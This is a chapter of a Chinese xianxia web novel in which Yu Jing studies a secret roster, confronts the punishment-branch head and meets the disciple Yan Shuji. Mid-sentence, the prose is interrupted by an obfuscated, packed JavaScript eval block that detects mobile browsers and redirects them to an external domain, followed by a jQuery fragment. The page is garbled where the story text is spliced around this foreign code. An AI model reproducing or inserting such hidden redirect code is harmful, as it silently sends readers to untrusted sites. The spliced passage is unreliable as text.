27. 倚云长·燕恕己
作品:《仙门至尊非要替我逆天改命[重生]》 昨夜的记忆再度涌上心头。
那时虞璟疼得浑浑噩噩,勉强咽下那壶茶水之后便支撑不住又睡了过去。醒来之时见门窗紧闭,茶具也消失无踪,因而至今都不知那是否只是恍惚间做的一个梦。
但腹中那团火焰确实已然沉寂,连最轻微的不适都不复存在。
若影鬼当真是顾忌她的心情,才未再阻止调查一事,那昨夜……恐怕也是有意为之。
“虞前辈还有其他事吗?若无便请回吧!”刑脉主仍不改冷言冷语,说起话来硬邦邦的。
虞璟知道这条线索算是断得干净,也只好放弃,点头道:“有劳刑脉主解惑……”话至中途,她又觉放心不下,转而道,“还是劳您将名册借我一观。”
刑脉主挑眉。这份名单本是刑脉秘辛,不可外传,即便其余三脉主也不可越俎代庖,擅自插手。但执夷君既未拦阻,便是首肯,他没有拒绝的余地。
何况,虞璟虽是白费力气,终究也是为了执夷君着想……
如此一想,他倒是心平气顺了许多,肃然警告道:“此物不可带出刑脉,不可誊抄,内容也不可令他人知晓。”
条件如此严苛,虞璟却不觉为难,连连点头,接过刑脉主递来的厚厚两本册子便开始翻阅:“我记下便可。”
刑脉主抱着臂看她默背,才看了两眼就觉得索然无味,眼睛也被那蚊蝇般的小字刺得生疼,按按额心走到一旁继续练剑。
岂知方练两三招,便被虞璟叫停。
刑脉主托着两本名册掂了掂,又抬头看了眼日头,确实才过一刻钟不到。这时间也不过够他将名册从头到尾翻一遍,虞璟这就……记下了?
刑脉主很想敲开她的脑袋看看里面到底装了什么。
虞璟得了自己想要的情报,道一声告辞便欲离开,却被刑脉主展臂拦住。
“昨日……郁孤清那个蠢货……是我没及时拦住。”刑脉主眉眼低垂,咬着牙,吐字似乎万分艰难,“若是冒犯了前辈,前辈要杀要剐,只管冲我来。”
虞璟心中纳罕,这人冒犯她不是一次两次,从未向她低过头,更谈不上谢罪。今日他却为了药脉主连这样的话都说了出来,足可见两人亲密无间。
但这般亲密的两个人,又缘何互相打骂?倒像是有什么深仇大怨一般。
虞璟摇了摇头,道:“世上没有人该为不属于自己的责任承担惩罚。”她想想,又补一句,“即便是师兄弟之间也是一样。”
道脉主为了刑脉主曾不惜向她下跪,虞璟猜测,眼下刑脉主这般行事多半也是出自所谓的师兄弟情谊。
“他就是我的责任!他——”刑脉主没再说下去,徐徐叹了口气。
他第一次显露出这般丧气的模样,虞璟淡然扫他一眼,平静问道:“你今日之举,是否也是为了这件事?”
刑脉主浑身一震,错愕地抬起头来。
虞璟一看他的模样便笃定了心中所想。
刑脉主的剑一斩天下罪者,二斩邪魔外道。只要她还是域内弟子一日,就绝不会在刑脉主剑光所向之处。
何况她的辈分摆在这,又是执夷君唯一的弟子,纵然刑脉主未伤她一根寒毛,单看向她出剑这一条,也是罪无可恕。
刑脉主再蠢,再看不上她,也不会这样冒犯执夷君。
恐怕刑脉主这一剑一是试她胆识,二是转移她的怒火。若虞璟此前当真因药脉主举动而感到冒犯,也会将满腔怒火都发泄在他身上。
那时,倒真会如他所言“要杀要剐”,而药脉主本人,则安然无恙。
“虞前辈说的什么?弟子听不懂。”刑脉主犹自坚持。
虞璟看他一眼,并不解释,只道:“世上有如你这般愿代药脉主受过之人,自然也会有愿为你受过之人。……你先顾虑下自己吧。”
刑脉主面色一僵,眼中起了波澜,半晌喃喃道:“大师兄……”
虞璟不理他的怔忪,自顾自走到门边,又抬手敲了一下门框:“刑脉主今日练的应是无垢山的‘四季’剑吧?”
刑脉主立刻警醒,目光炯炯看了过来。
“其中那招‘一梦方晓夏初深’……招至中途真气本该上行,你却自锁膻中、泥丸二穴,反致真气冲脉,才会怎么使都用不上劲的。这套剑谱存于琅嬛阁中,刑脉主可去寻来自行一观。”虞璟笑笑,“这招不对,不单有你剑中迷茫的缘故,方才忘了告知你。”
刑脉主登时呆愣,还不等他反应过来,虞璟已轻笑一声退出主殿。
殿门之外萧宓三人已然不在,只有侍剑童子与那名弟子并肩坐在门槛之上,慢慢剥着松子数天上的云彩。
见虞璟出门,两人慌里慌张站起行礼。虞璟便摆手叫人继续坐着,独自一人走入林间。
与满山翠竹的文脉主峰不同,刑脉主峰遍植苍松翠柏,微风袭来,松涛阵阵。前世虞璟听了这样的松涛声五年,如今漫步在松林之间,竟有种古怪的安心之感。
虞璟边走边回忆,刑脉主做起事来倒不含糊,名册横跨了五年。每年下山者足有百人之数。其中大多弟子出身刑脉,约莫占七成。其余三脉中药脉弟子最多,道脉次之,文脉则微乎其微,且这三脉之人大多非单独出动,而是做刑脉弟子的辅助。
考虑到四脉弟子专精,这也无甚出奇。
只是翻阅名册过程中,虞璟见到了几个熟悉的名字。
其中有晏子楚。
前两年的名册之中,他的名字总是隔几月就出现一次,连带着评级那一栏的“上上等”宣告着当时的意气风发。
然而三年前的一次“大过”后,他便从名册中销声匿迹。
名册上的三年前,于如今的虞璟而言已是十多年前的事,任她记性再好也记不得那一年究竟发生了何事,只好先撂下不深究。
濮阳正与路修远两人的名字出现得也十分频繁,五年间林林总总加起来足有百余趟,剿魔之事几乎被他们两师徒包了。
一看到这两人的名字,虞璟便想起那些年浪费在他们身上的伤药,不由自主叹了口气。
林深幽静,空无一人,虞璟这一声叹息远远传出,更显得四周空旷寂寥。紧接着便听一声轻笑,仿佛与她的叹息之声互为应和一般自树后幽幽传来。
这场景诡异非常,笑声却宛如微风吹拂柳稍,温润而缠绵,连同林中逐渐浓郁的郁金香气一并搔得人心头发痒。
虞璟充耳不闻,越树而走。
这下那人也躲不下去,只好现身,极有礼数向虞璟见礼:“师妹安好,惊扰师妹,还请勿要怪罪。”
虞璟见眼前青年一身青衫,作
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14975470|158190||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
文士打扮,手中还附庸风雅地摇着一把山水写意折扇,便猜他是文脉弟子,问道:“你拦下我,可是文脉主有事相邀?”
此人眉目修致,神情似无还笑,显得极为潇洒。被虞璟冷不丁这么一问,笑容便僵在了脸上:“师妹误会,在下是刑脉门下。”
虞璟狐疑地回头望望,又问:“刑脉主还有事找我?”
青年一听她这话神情更是古怪:“……师妹说话当真有趣。”
这一句话说出口,淡然洒脱的笑意也回到了脸上,青年继续道:“在下方才于树后听见师妹叹息不止,心生恻隐,酸楚难言,才冒昧一见,希望未曾打扰师妹。若能替师妹排忧解难,使师妹再焕笑颜,在下也算不负——”
废话一堆。
虞璟不忍卒听,抬步转身就走,岂料青年长臂一展,闪身轻巧拦住虞璟的去路。
虞璟不知他拦下自己的根由,也不以为意,只道:“我有急事,还请这位……让一让。”
“诶——急事缓办,急事缓办嘛!不知师妹有何忧虑之处?或许说出来在下能替你分担。”青年噙着一抹笑,似要为虞璟扇去愁思一般,当即便替虞璟打起扇来。
虞璟也不看他,淡然道:“敢问有狗挡道,该作何解?”
青年见她眉目如画,神情柔顺,未曾流露一丝恼意,料想她性情该是温顺怯懦,谁知一开口却半点不留情面,顶得他一阵心血上涌,连脸色都隐隐发青。
他干笑两声,欲再开口。突然,脸色一凝,匆忙偏过头去,避开自后方激射而来的暗器。只听“笃笃”三声,那暗器已没入他耳旁树干之中,可疾风劲扫之间,面上已留下三道血痕。
青年大吃一惊,慌忙扭头,可见到来人之貌,反倒微微一笑,还不忘半展折扇遮住脸上血痕:“原来是颜姐啊。颜姐今日怎有空来此?”
“找她。”
虞璟比青年更早看见颜折袖。
此刻颜折袖半散着发髻,鸦青长发落在肩头,五指探入发间,冷眼瞪视青年。
“原来这位师妹是颜姐熟人。”青年朗声道,“看来我今日倒是来得不巧了,险些误了两位的大事。”
他拇指揩过脸侧血痕,只觉一阵刺痛。这阵刺痛直入心间,一副玉容毁于一旦,他自然愤然难言。然而也知这一手段不过是颜折袖警告。两人互存忌惮之心,此刻万没有到撕破脸的地步,只得维持翩翩风度,略一拱手:“那在下不多打扰,这便离去了。”
他竟又向虞璟一眨眼,从容笑道:“师妹若要寻我,可往坊市金风玉露一见。在下自当好好为师妹摆一席消愁解忧。”
说着,便翩然而去。
眼见对方背影远去,颜折袖才长舒一口气,绕着虞璟转了一圈仔细端详。
虞璟从未见过青年这般做派之人,见颜折袖似乎与他熟识,便询问青年身份。
颜折袖连连冷笑,往地上啐了一口:“满口喷粪,你别听他胡说八道!燕恕己这狗东西,上赶着来找姑奶奶我还嫌腻歪呢!”
“燕恕己?‘责人之心责己,恕己之心恕人’?”虞璟立即将字与音对上了号,“刑脉燕恕己?”
“是,那又怎么了?”颜折袖蹙眉。
“他在那份名册中。”虞璟道,“一年前,他下过山,往洪荡桥驱水鬼。”